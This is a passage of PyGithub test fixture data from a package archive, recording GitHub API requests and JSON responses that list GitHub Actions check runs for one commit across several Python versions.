'W/"06e8aed3f8138a33bf4e9d7238c911364fed4855aab7f5521a0305864cb02ae4"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '22'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE1C:1713:5049B6:56C8BF:605972C3')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?filter=all {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:47:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b55d1ee82bdff5f80cd733dc047fca54748fcf7b9f3d0cc0d20e4ce0e86880a9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '23'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE1E:5544:101C708:116D256:605972C3')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891931,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTMx","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"02f808e0-98fe-55de-7c6a-7b611811c378","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:32Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931/annotations"},"name":"test (Python 3.7)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891902,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTAy","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"faa62fff-0a61-5a65-b80e-0b42a7456be1","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:34Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902/annotations"},"name":"test (Python 3.5)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByStatus.txt0000644000175100001660000005172714756101563027632 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?status=completed&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:59:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"06e8aed3f8138a33bf4e9d7238c911364fed4855aab7f5521a0305864cb02ae4"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE52:1712:155BAA:1BB173:605975BC')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?status=completed {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:59:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b55d1ee82bdff5f80cd733dc047fca54748fcf7b9f3d0cc0d20e4ce0e86880a9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '29'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE54:1432:32A411:370ADF:605975BD')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891931,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTMx","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"02f808e0-98fe-55de-7c6a-7b611811c378","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:32Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931/annotations"},"name":"test (Python 3.7)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891902,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTAy","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"faa62fff-0a61-5a65-b80e-0b42a7456be1","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:34Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902/annotations"},"name":"test (Python 3.5)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to 